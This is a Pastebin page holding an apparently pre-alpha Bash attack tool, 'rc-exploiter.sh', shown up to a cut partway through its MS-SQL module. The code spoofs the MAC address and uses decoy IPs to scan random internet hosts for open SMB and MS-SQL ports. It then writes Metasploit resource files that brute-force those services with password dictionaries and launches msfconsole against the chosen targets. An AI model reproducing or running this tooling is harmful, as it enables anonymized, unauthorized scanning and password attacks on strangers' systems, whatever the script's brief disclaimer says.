r00t-3xp10it

[rc-exploiter.sh] under develop - pre-alpha stage

May 1st, 2015
716
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 145.12 KB | None | 0 0
  1. # ------------------------------------------------------------------------
  2. # WARNING THIS SCRIPT WILL NOT WORK WITHOUT RC-EXPLOITER FOLDER AND
  3. # ALL THE REQUIRED FILES/EXPLOITS - AND THIS PROJECT ITS ON DEVELOP STAGE
  4. # ------------------------------------------------------------------------
  5.  
  6.  
  7. #!/bin/sh
  8. ### inicio
  9. #
  10. # [ RC-scanner/exploiter script ]
  11. # codename: "the three stooges" goes shopping!...
  12. # Develop By: pedr0 Ubuntu [r00t-3xp10it]
  13. # peterubuntu10[at]sourceforge[dot]net
  14. # WIKI: https://sourceforge.net/p/rcexploiter/wiki/Home/
  15. # ---
  16. # Required 'nmap' 'metasploit' and 'macchanger' installed...
  17. # Special Thanks to: Milton@Barra for all the help provided
  18. # in debugging and testing some of the modules in this project :D
  19. # And Offcourse to: Fyodor(nmap) AND  hd moore(metasploit)
  20. # ---
  21. # This program is free software; you can redistribute it
  22. # and/or modify it under the terms of the GNU General
  23. # Public License as published by the Free Software Foundation.
  24. #
  25. ###
  26.  
  27.  
  28.  
  29.  
  30. # Resize terminal windows size befor running the tool (gnome terminal)
  31. # Special thanks to h4x0r Milton@Barra for this little piece of heaven! :D
  32. resize -s 36 92 > /dev/null
  33.  
  34.  
  35.  
  36.  
  37. # ------------------------
  38. # LOCAL VARIABLES SETTINGS
  39. ######################################################################################################
  40. IPATH=`pwd`                                                # tool current install path               #
  41. ver="1.1.0"                                                # script version develop                  #
  42. OS=`uname`                                                 # grab OS - Linux or other                #
  43. H0m3=`echo ~`                                              # grab home directory                     #
  44. user=`who | cut -d' ' -f1 | sort | uniq`                   # grab username                           #
  45. DiStR0=`awk '{print $1}' /etc/issue`                       # grab distribution -  Ubuntu or Kali     #
  46. InT3R=`netstat -r | grep "default" | awk {'print $8'}`     # grab interface in use - wlan0 or eth0   #
  47. IP_RANGE=`ip route | grep "kernel" | awk {'print $1'}`     # grab IP addr range                      #
  48. Ch3=`cat $IPATH/settings | grep "USE_DECOYS" | cut -d '=' -f2` # turn 'on' or 'off' decoys           #
  49. SPOOF=`cat $IPATH/settings | grep "DECOY_IP_ADDR" | cut -d'=' -f2` # decoy ip addr (fake ip addr)    #
  50. M4c=`cat $IPATH/settings | grep "SPOOF_MAC" | cut -d '=' -f2` # change mac addr?                     #
  51. R4nD0M=`cat $IPATH/settings | grep "RANDOM" | cut -d '=' -f2` # use change mac addr random or static #
  52. T00lM4C=`cat $IPATH/settings | grep "SPOOFED_MAC" | cut -d '=' -f2` # spoofed mac to use in static   #
  53. nS31=`cat $IPATH/settings | grep "NSE_SCRIPTS" | cut -d '=' -f2` # nse script folder install path    #
  54. nS3Lib=`cat $IPATH/settings | grep "NSE_LIB" | cut -d '=' -f2` # nse LIB folder install path         #
  55. ######################################################################################################
  56.  
  57.  
  58.  
  59.  
  60. # -----------------------------------
  61. # Colorise shell Script output leters
  62. # -----------------------------------
  63. Colors() {
  64. Escape="\033";
  65.   white="${Escape}[0m";
  66.   RedF="${Escape}[31m";
  67.   GreenF="${Escape}[32m";
  68.   YellowF="${Escape}[33m";
  69.   BlueF="${Escape}[34m";
  70.   CyanF="${Escape}[36m";
  71. Reset="${Escape}[0m";
  72. }
  73.  
  74.  
  75.  
  76.  
  77. # -----------------------------------
  78. # check if dependencies are installed
  79. # 'root' 'nmap' 'zenity' 'msfconsole'
  80. # -----------------------------------
  81. Colors;
  82.  
  83.    # check if user is root
  84.    if [ $(id -u) != "0" ]; then
  85.      echo ${BlueF}[*]${RedF}::${BlueF}[Check User]: ${RedF}$USER ${Reset};
  86.      echo ${RedF}[x]::[not root]${white}: you need to be ${GreenF}[root]${white} to run this script.${Reset};
  87.      echo "[[ NOT ROOT ]]:ABORT..." >> $IPATH/debug/debug.int
  88.      exit
  89.  
  90. else
  91.  
  92.    echo ${BlueF}[*]${RedF}::${BlueF}[Check User]: ${GreenF}$USER ${Reset};
  93.    sleep 1
  94.  
  95. fi
  96.  
  97.  
  98.    nM4p=`which nmap`
  99.    #check if nmap exists
  100.    if [ "$?" -eq "0" ]; then
  101.    echo ${BlueF}[*]${RedF}::${BlueF}[Nmap]:${white} installation found...${Reset};
  102.    sleep 1
  103.  
  104. else
  105.  
  106.    echo ${RedF}[x]::[warning]:this script require Nmap installed to work ${Reset};
  107.    echo ${YellowF}[+]${RedF}::${YellowF}[please wait]: Downloading from network... ${Reset};
  108.    sudo apt-get install nmap
  109.    sudo apt-get install zenmap
  110.    sleep 2
  111.    clear
  112. fi
  113.  
  114.  
  115.    Z3n=`which zenity`
  116.    #check if zenity exists
  117.    if [ "$?" -eq "0" ]; then
  118.    echo ${BlueF}[*]${RedF}::${BlueF}[zenity]:${white} installation found...${Reset};
  119.    sleep 1
  120.  
  121. else
  122.  
  123.    echo ${RedF}[x]::[warning]: this module required 'zenity' instaled to work...${Reset};
  124.    echo ${YellowF}[+]${RedF}::${YellowF}[please wait]: Downloading from network... ${Reset};
  125.    sudo apt-get install zenity
  126.    sleep 4
  127.    exit
  128. fi
  129.  
  130.  
  131.    mSf=`which msfconsole`
  132.    #check if metasploit exists
  133.    if [ "$?" -eq "0" ]; then
  134.    echo ${BlueF}[*]${RedF}::${BlueF}[Metasploit]:${white} installation found...${Reset};
  135.    sleep 1
  136.  
  137. else
  138.  
  139.    echo ${RedF}[x]::[warning]: this module required Metasploit instaled to work...${Reset};
  140.    echo ${YellowF}[+]${RedF}::${YellowF} 'more info' here: http://www.darkoperator.com/installing-metasploit-in-ubunt/ ${Reset};
  141.    echo "[[ DEPENDENCIE:MSFCONSOLE ]]:FAIL..." >> $IPATH/debug/debug.int
  142.    sleep 4
  143.    exit
  144. fi
  145.  
  146.  
  147.  
  148.  
  149. # ----------------------------------
  150. # grab network INTERFACE in use
  151. # ----------------------------------
  152. # ask to user if script as grab the currect interface in use
  153. QuE=$(zenity --question --title "INTERFACE IN USE ?" --text "-:[ INTERFACE: $InT3R ? ]:-" --width 300) > /dev/null 2>&1
  154.      if [ "$?" -eq "0" ]; then
  155.        inter="$InT3R"
  156.  
  157. else
  158.  
  159.   # interface grab aborted by user
  160.   echo ${GreenF}[*]${RedF}::${GreenF}[Available Network Interfaces]: ${Reset};
  161.   echo ""
  162.   netstat -i | grep "wlan"  && netstat -i | grep "eth"  && netstat -i | grep "ppp"  && netstat -i | grep "vboxnet"  && netstat -i | grep "pan" && netstat -i | grep "vmnet"
  163.   echo ""
  164.   # INTERFACE user input
  165.   inter=$(zenity --title="Input interface in use" --text "Please check your network connection\nOr manually input your interface in use\n\nexample: wlan0 OR eth0 OR vboxnet0" --entry --width 300) > /dev/null 2>&1
  166.  
  167. fi
  168.  
  169.  
  170.  
  171.  
  172. # -----------------------------------------------
  173. # change mac address depending of 'settings' file
  174. # -----------------------------------------------
  175. Colors;
  176.  
  177.   # check settings file
  178.   if [ "$M4c" = "YES" ]; then
  179.  
  180.     # check if macchanger exists
  181.     m4cchanger=`which macchanger`
  182.     if [ "$?" -eq "0" ]; then
  183.       echo ${BlueF}[*]${RedF}::${BlueF}[macchanger]:${white} installation found...${Reset};
  184.       sleep 2
  185.       echo ${YellowF}[+]${RedF}::${BlueF}[please wait]:${YellowF} Changing your mac address... ${Reset};
  186.       service network-manager stop > /dev/null 2>&1
  187.       sleep 4
  188.  
  189.         # set mac random or stable
  190.         if [ "$R4nD0M" = "YES" ]; then
  191.           macchanger -r $inter > /dev/null 2>&1
  192.           sleep 17
  193.         else
  194.           macchanger --mac=$T00lM4C $inter > /dev/null 2>&1
  195.           sleep 17
  196.         fi
  197.  
  198.       # restarting network interface
  199.       echo ${YellowF}[+]${RedF}::${BlueF}[please wait]:${YellowF} Restarting [${GreenF}$inter${YellowF}] interface... ${Reset};
  200.       service network-manager start > /dev/null 2>&1
  201.       sleep 5
  202.       macchanger -s $inter | zenity --title "MAC ADDR CURRENT SETTINGS" --text-info --width 410 --height 110 > /dev/null 2>&1
  203.  
  204.     else
  205.  
  206.       echo ${RedF}[x]::[warning]: this module required 'macchanger' instaled to work...${Reset};
  207.       echo ${YellowF}[+]${RedF}::${BlueF}[please wait]:${YellowF} Downloading from network... ${Reset};
  208.       sudo apt-get install macchanger macchanger-gtk
  209.       echo ${BlueF}[*]${RedF}::${BlueF}[installed]:${RedF} please run the script again... ${Reset};
  210.       sleep 4
  211.       exit
  212.     fi
  213.  
  214.   else
  215.   echo "good" > /dev/null 2>&1
  216. fi
  217.  
  218.  
  219.  
  220.  
  221. # ---------------------------------------------
  222. # grab Operative System distro to store IP addr
  223. # output = Ubuntu OR Kali OR Parrot OR BackBox
  224. # ---------------------------------------------
  225. case $DiStR0 in
  226.     Kali) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
  227.     Debian) IP=`ifconfig $inter | egrep -w "inet" | awk '{print $2}'`;;
  228.     Ubuntu) IP=`ifconfig $inter | egrep -w "inet" | awk '{print $3}'`;;
  229.     Parrot) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
  230.     BackBox) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
  231.     *) IP=`zenity --title="Input your IP addr" --text "example: 192.168.1.68" --entry --width 300`;;
  232.   esac
  233. clear
  234.  
  235.  
  236.  
  237.  
  238. # -----------------------
  239. # banner/disclamer
  240. # -----------------------
  241. Colors;
  242. clear
  243. cat << !
  244.                                  ,.,
  245.  +-+-+  +-+-+-+-+-+-+-+-+-+     (~ ~)
  246.  |r|c|  |e|x|p|l|o|i|t|e|r|    q:0 0:p
  247.  +-+-+  +-+-+-+-+-+-+-+-+-+     ((_))
  248.                                  'u'
  249. !
  250. echo ${YellowF} The author does not hold any responsibility about the bad use of this script,${Reset};
  251. echo ${YellowF} remmenber that attacking targets without prior concent its illegal and punish${Reset};
  252. echo ${YellowF} by law, this script as build to show how msf resource files can automate tasks.${Reset};
  253. echo ""
  254. echo ${YellowF} Scanning WAN networks In search of targets may take 10 to 15 minutes depending${Reset};
  255. echo ${YellowF} of your network connection, and will search In 1024 random hosts For the selected${Reset};
  256. echo ${YellowF} port, also the File 'user-names.txt' may be edited to insert new entrys, or we can${Reset};
  257. echo ${YellowF} provide the full path to another dicionary File to be used In brute-force services.${Reset};
  258. echo ${YellowF} Also this tool will change your [${white}mac address + ip address${YellowF}] and use [${white}Decoys${YellowF}] to${Reset};
  259. echo ${YellowF} scan WAN networks 'if' configurated 'in' the "settings" conf 'file'... ${Reset};
  260. echo ""
  261. echo ${RedF} Author':' ${GreenF}r00t-3xp10it${RedF} '|' Suspicious Shell Activity Labs/RedTeam${Reset};
  262. echo ${RedF} r00tsect0r '|' dwebcrew '|' google inurlbr '|' root developers ${Reset};
  263. echo ${RedF} Learn 'more' about Resource Files here${white}:${RedF}http://goo.gl/chSnOC ${Reset};
  264. echo ${RedF} VERSION:${white}$ver ${RedF}USER:${white}$user ${RedF}INTERFACE:${white}$inter ${RedF}OS:${white}$OS ${RedF}DISTRO:${white}$DiStR0 ${Reset};
  265. echo ""
  266. echo ${YellowF}Press [${GreenF} ENTER ${YellowF}] to continue...${Reset};
  267. read op
  268.  
  269.  
  270.  
  271.  
  272. # -----------------------
  273. # Obfuscated ...
  274. # -----------------------
  275. if [ -e $IPATH/bin/obfuscated ]; then
  276. # use base64 to decode password string
  277. oBf=`cat $IPATH/bin/obfuscated | base64 -d`
  278. # or use my personal encoding un-comment [line:279]
  279. # and un-comment also the [line:1927] to activate this funtion.
  280. # oBf=`cat $IPATH/bin/obfuscated | grep ":" | cut -d ':' -f2`
  281. P0C=$(zenity --password --title="RC-EXPLOITER" --text "enter your access password:") > /dev/null 2>&1
  282.   if [ "$P0C" = "$oBf" ]; then
  283.   echo "good" > /dev/null 2>&1
  284.   else
  285.   clear
  286. cat << !
  287.  
  288.              (=('~')=)
  289.             ,))|o o|((,
  290.                ((_))
  291.                 '-'
  292.  
  293. Wrong password:'$P0C' Better luck next time...
  294. !
  295. dtr=`date | awk '{print $2,$3,$4}'`
  296. echo ${white}Develop by:[${GreenF}r00t-3xp10it${white}]SSA-RedTeam@2015 ${Reset};
  297. echo "" >> $IPATH/debug/debug.int
  298. echo "" >> $IPATH/debug/debug.int
  299. echo "[x]------------------------------------" >> $IPATH/debug/debug.int
  300. echo "[x] Wrong Password [[ $P0C ]] at [[ $dtr ]]" >> $IPATH/debug/debug.int
  301. echo "[x]------------------------------------" >> $IPATH/debug/debug.int
  302. exit
  303. fi
  304.  
  305.  
  306. else
  307. # if dont exist 'obfuscated' file (default) continue...
  308. echo "good" > /dev/null 2>&1
  309. fi
  310.  
  311.  
  312.  
  313.  
  314. # -----------------------------------------------
  315. # grab current mac address for display porposes..
  316. # -----------------------------------------------
  317. if [ "$M4c" = "YES" ]; then
  318.   st=`macchanger -s $inter | grep "Current" | awk '{print $3}'`
  319. else
  320.   st="NOT CONFIGURATED..."
  321. fi
  322.  
  323.  
  324.  
  325.  
  326. # ------------------------------
  327. # tool debug logfile (debug.int)
  328. # ------------------------------
  329. # store data in dtr variable
  330. dtr=`date | awk '{print $2,$3,$4}'`
  331.  
  332.  
  333.     # CHECK TOOLKIT_CONFIG SETTINGS
  334.     L0g=`cat $IPATH/settings | egrep -m 1 "DEBUG_MODE" | cut -d '=' -f2`
  335.     if [ "$L0g" = "ON" ]; then
  336.       echo "" >> $IPATH/debug/debug.int
  337.       echo "" >> $IPATH/debug/debug.int
  338.       echo "[[ $dtr ]]" >> $IPATH/debug/debug.int
  339.       echo "VERSION:$ver  INTERFACE:$inter" >> $IPATH/debug/debug.int
  340.       echo "OS:$OS  DISTRO:$DiStR0" >> $IPATH/debug/debug.int
  341.       echo "IP_ADDR:$IP  IP_RANGE:$IP_RANGE" >> $IPATH/debug/debug.int
  342.       echo "HOME_PATH:$H0m3" >> $IPATH/debug/debug.int
  343.       echo "INSTALL_PATH:$IPATH" >> $IPATH/debug/debug.int
  344.       echo "SPOOFED_MAC:$st" >> $IPATH/debug/debug.int
  345.       echo "------------------------------" >> $IPATH/debug/debug.int
  346.       # further activity will be added...
  347.       # just for the fun (progress bar display)
  348.       ping -c 5 www.google.com | zenity --progress --pulsate --title "DEBUG MODE: ON" --text="logging script activity: [ debug.int ]" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
  349.  
  350.     else
  351.  
  352.       # just for the fun (progress bar display)
  353.       ping -c 5 www.google.com | zenity --progress --pulsate --title "PLEASE WAIT" --text="Loading Modules ..." --percentage=0 --auto-close --width 300 > /dev/null 2>&1
  354. fi
  355.  
  356.  
  357.  
  358.  
  359. # ----------------------------------
  360. # bash trap ctrl-c and call ctrl_c()
  361. # ----------------------------------
  362. trap ctrl_c INT
  363. ctrl_c() {
  364. Colors;
  365.  
  366.         echo "[[ CTRL+C ]]:ABORT..." >> $IPATH/debug/debug.int
  367.         echo ${YellowF} You have pressed ${RedF}[CTRL+C] ${Reset};
  368.         echo ${RedF}[x]::${YellowF}Please Wait, cleanning ... ${Reset};
  369.         sleep 2
  370.       sh_exit
  371. }
  372.  
  373.  
  374.  
  375.  
  376. # ----------------------------------
  377. # END OF CONFIGURATIONS
  378. # ----------------------------------
  379.  
  380.  
  381.  
  382.  
  383.  
  384.  
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398. # -----------------------
  399. # smb+samba exploiter
  400. # -----------------------
  401. sh_1 () {
  402. Colors;
  403. # search in wan OR manually input rhosts
  404. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  405.  
  406.  
  407.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  408.      echo "SMB+SAMBA:WAN:LOADED" >> $IPATH/debug/debug.int
  409.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  410.      dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-passw.txt" --entry --width 350) > /dev/null 2>&1
  411.  
  412.      # use DECOY'S in scanning WAN networks?
  413.      if [ "$Ch3" = "YES" ]; then
  414.      # use decoys to scan wan networks
  415.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  416.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p U:135,T:137,139,445 --open --reason -oN $IPATH/logs/Random-Hosts[smb].log | zenity --progress --pulsate --title "SCANNING WAN NETWORK" --text="LOGFILE: Random-Hosts[smb].log\nHOSTS: $NUM ONLY: open PORTS: 135,139,445\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  417.      else
  418.      # default (dont use decoys)
  419.      nmap -sS -iR $NUM -PN -p U:135,T:139,445 --open --reason -oN $IPATH/logs/Random-Hosts[smb].log | zenity --progress --pulsate --title "scanning WAN NETWORK" --text="LOGFILE: Random-Hosts[smb].log\nHOSTS: $NUM ONLY: open PORTS: 135,139,445\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  420.      fi
  421.  
  422.      echo ""
  423.      cat $IPATH/logs/Random-Hosts[smb].log
  424.      echo ""
  425.  
  426.        # generate (settings) resource file
  427.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  428.        if [ "$?" -eq "0" ]; then
  429.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  430.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  431.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  432.        echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  433.        echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  434.        echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  435.        echo "resource $IPATH/exploits/smb+samba.rc" >> $IPATH/tempwork/msfdb.rc
  436.  
  437.          # generate (cleaner) resource file
  438.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  439.          echo "unset -g RHOST RHOSTS LHOST USERNAME PASS_FILE STOP_ON_SUCCESS PAYLOAD THREADS" >> $IPATH/tempwork/cleaner.rc
  440.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  441.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  442.          chown $user $IPATH/logs/Random-Hosts[smb].log > /dev/null 2>&1
  443.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  444.          chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  445.  
  446.            cd $IPATH/exploits/
  447.            # using bash SED to replace value (report.log)
  448.            cp smb+samba.rc smb+samba.bk > /dev/null 2<&1
  449.            sed "s|Lt0P4tH|$IPATH/logs/[smb+samba].log|g" smb+samba.rc > copy.int
  450.            mv copy.int smb+samba.rc > /dev/null 2<&1
  451.            cd $IPATH
  452.  
  453.            # store in debug.int
  454.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  455.            echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  456.  
  457.  
  458.        # start postgresql+metasploit db
  459.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  460.        # /etc/init.d/postgresql start > /dev/null 2>&1
  461.        # /etc/init.d/metasploit start > /dev/null 2>&1
  462.  
  463.       if [ "$DiStR0" = "Kali" ]; then
  464.         service postgresql start > /dev/null 2>&1
  465.         service metasploit start > /dev/null 2>&1
  466.       else
  467.         service metasploit start > /dev/null 2>&1
  468.       fi
  469.  
  470.     # display cleaner command
  471.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  472.     echo ${white}--------------------------------------------------------${Reset};
  473.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  474.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  475.     echo ${white}--------------------------------------------------------${Reset};
  476.  
  477.   # access msfdatabase
  478.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE..  ] ${Reset};
  479.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  480.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  481.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[smb+samba].log" --width 480 > /dev/null 2>&1
  482.   service metasploit stop > /dev/null 2>&1
  483.   echo "STOP MSF SERVICE:YES" >> $IPATH/debug/debug.int
  484.  
  485.   # clean old files
  486.   mv $IPATH/exploits/smb+samba.bk $IPATH/exploits/smb+samba.rc > /dev/null 2<&1
  487.   chown $user $IPATH/exploits/smb+samba.rc > /dev/null 2>&1
  488.  
  489.  
  490.   else
  491.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  492.   echo "SMB+SAMBA:WAN::ABORT" >> $IPATH/debug/debug.int
  493.   sleep 2
  494.   fi
  495.  
  496.  
  497.  
  498.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  499.    echo "SMB+SAMBA:MANUAL:LOADED" >> $IPATH/debug/debug.int
  500.   # imput manually RHOSTS
  501.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  502.      if [ "$?" -eq "0" ]; then
  503.      dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
  504.  
  505.      # generate (settings) resource file
  506.      echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  507.      echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  508.      echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  509.      echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  510.      echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  511.      echo "resource $IPATH/exploits/smb+samba.rc" >> $IPATH/tempwork/msfdb.rc
  512.  
  513.        # generate (cleaner) resource file
  514.        echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  515.        echo "unset -g RHOST RHOSTS LHOST USERNAME PASS_FILE STOP_ON_SUCCESS PAYLOAD THREADS" >> $IPATH/tempwork/cleaner.rc
  516.        echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  517.        echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  518.        chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  519.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  520.  
  521.            cd $IPATH/exploits/
  522.            # using bash SED to replace value (report.log)
  523.            cp smb+samba.rc smb+samba.bk > /dev/null 2<&1
  524.            sed "s|Lt0P4tH|$IPATH/logs/[smb+samba].log|g" smb+samba.rc > copy.int
  525.            mv copy.int smb+samba.rc > /dev/null 2<&1
  526.            cd $IPATH
  527.  
  528.            # store in debug.int
  529.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  530.            echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  531.  
  532.       # start postgresql+metasploit db
  533.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  534.       # /etc/init.d/postgresql start > /dev/null 2>&1
  535.       # /etc/init.d/metasploit start > /dev/null 2>&1
  536.  
  537.       if [ "$DiStR0" = "Kali" ]; then
  538.         service postgresql start > /dev/null 2>&1
  539.         service metasploit start > /dev/null 2>&1
  540.       else
  541.         service metasploit start > /dev/null 2>&1
  542.       fi
  543.  
  544.     # display cleaner command
  545.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  546.     echo ${white}--------------------------------------------------------${Reset};
  547.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  548.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  549.     echo ${white}--------------------------------------------------------${Reset};
  550.  
  551.   # access msfdatabase
  552.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  553.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  554.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  555.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[smb+samba].log" --width 480 > /dev/null 2>&1
  556.   service metasploit stop > /dev/null 2>&1
  557.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  558.  
  559.   # clean old files
  560.   mv $IPATH/exploits/smb+samba.bk $IPATH/exploits/smb+samba.rc > /dev/null 2<&1
  561.   chown $user $IPATH/exploits/smb+samba.rc > /dev/null 2>&1
  562.  
  563.  
  564.   else
  565.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  566.   echo "SMB+SAMBA:MANUAL:ABORT" >> $IPATH/debug/debug.int
  567.   sleep 2
  568.   fi
  569.  
  570.  
  571. else
  572.  
  573.    Colors;
  574.    echo ${RedF}[x]::[quiting module]... ${Reset};
  575.    echo "SMB+SAMBA:CANCEL" >> $IPATH/debug/debug.int
  576.    sleep 2
  577. fi
  578. }
  579.  
  580.  
  581.  
  582.  
  583. # ----------------
  584. # ms-sql exploiter
  585. # ----------------
  586. sh_2 () {
  587. Colors;
  588. # search in wan OR manually input rhosts
  589. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  590.  
  591.  
  592.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  593.      echo "MS-SQL-S:WAN:LOADED" >> $IPATH/debug/debug.int
  594.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  595.      dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-passw.txt" --entry --width 350) > /dev/null 2>&1
  596.  
  597.      # use DECOY'S in scanning WAN networks?
  598.      if [ "$Ch3" = "YES" ]; then
  599.      # use decoys to scan wan networks
  600.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  601.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 1433 --open --reason -oN $IPATH/logs/Random-Hosts[ms-sql].log | zenity --progress --pulsate --title "SCANNING WAN NETWORK" --text="LOGFILE: Random-Hosts[ms-sql].log\nHOSTS: $NUM ONLY: open PORTS: 1433\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  602.      else
  603.      # default (dont use decoys)
  604.      nmap -sS -iR $NUM -PN -p 1433 --open --reason -oN $IPATH/logs/Random-Hosts[ms-sql].log | zenity --progress --pulsate --title "SCANNING WAN NETWORK" --text="LOGFILE: Random-Hosts[ms-sql].log\nHOSTS: $NUM ONLY: open PORTS: 1433\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  605.      fi
  606.  
  607.      echo ""
  608.      # display on screen hosts found
  609.      cat $IPATH/logs/Random-Hosts[ms-sql].log
  610.      echo ""
  611.  
  612.        # generate (settings) resource file
  613.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  614.          if [ "$?" -eq "0" ]; then
  615.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  616.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  617.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  618.        echo "setg MSSQL_PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  619.        echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  620.        echo "resource $IPATH/exploits/ms-sql.rc" >> $IPATH/tempwork/msfdb.rc
  621.  
  622.        # generate (cleaner) resource file
  623.        echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  624.        echo "unset -g RHOST RHOSTS MSSQL_PASS_FILE THREADS" >> $IPATH/tempwork/cleaner.rc
  625.        echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  626.        echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  627.        chown $user $IPATH/logs/Random-Hosts[ms-sql].log > /dev/null 2>&1
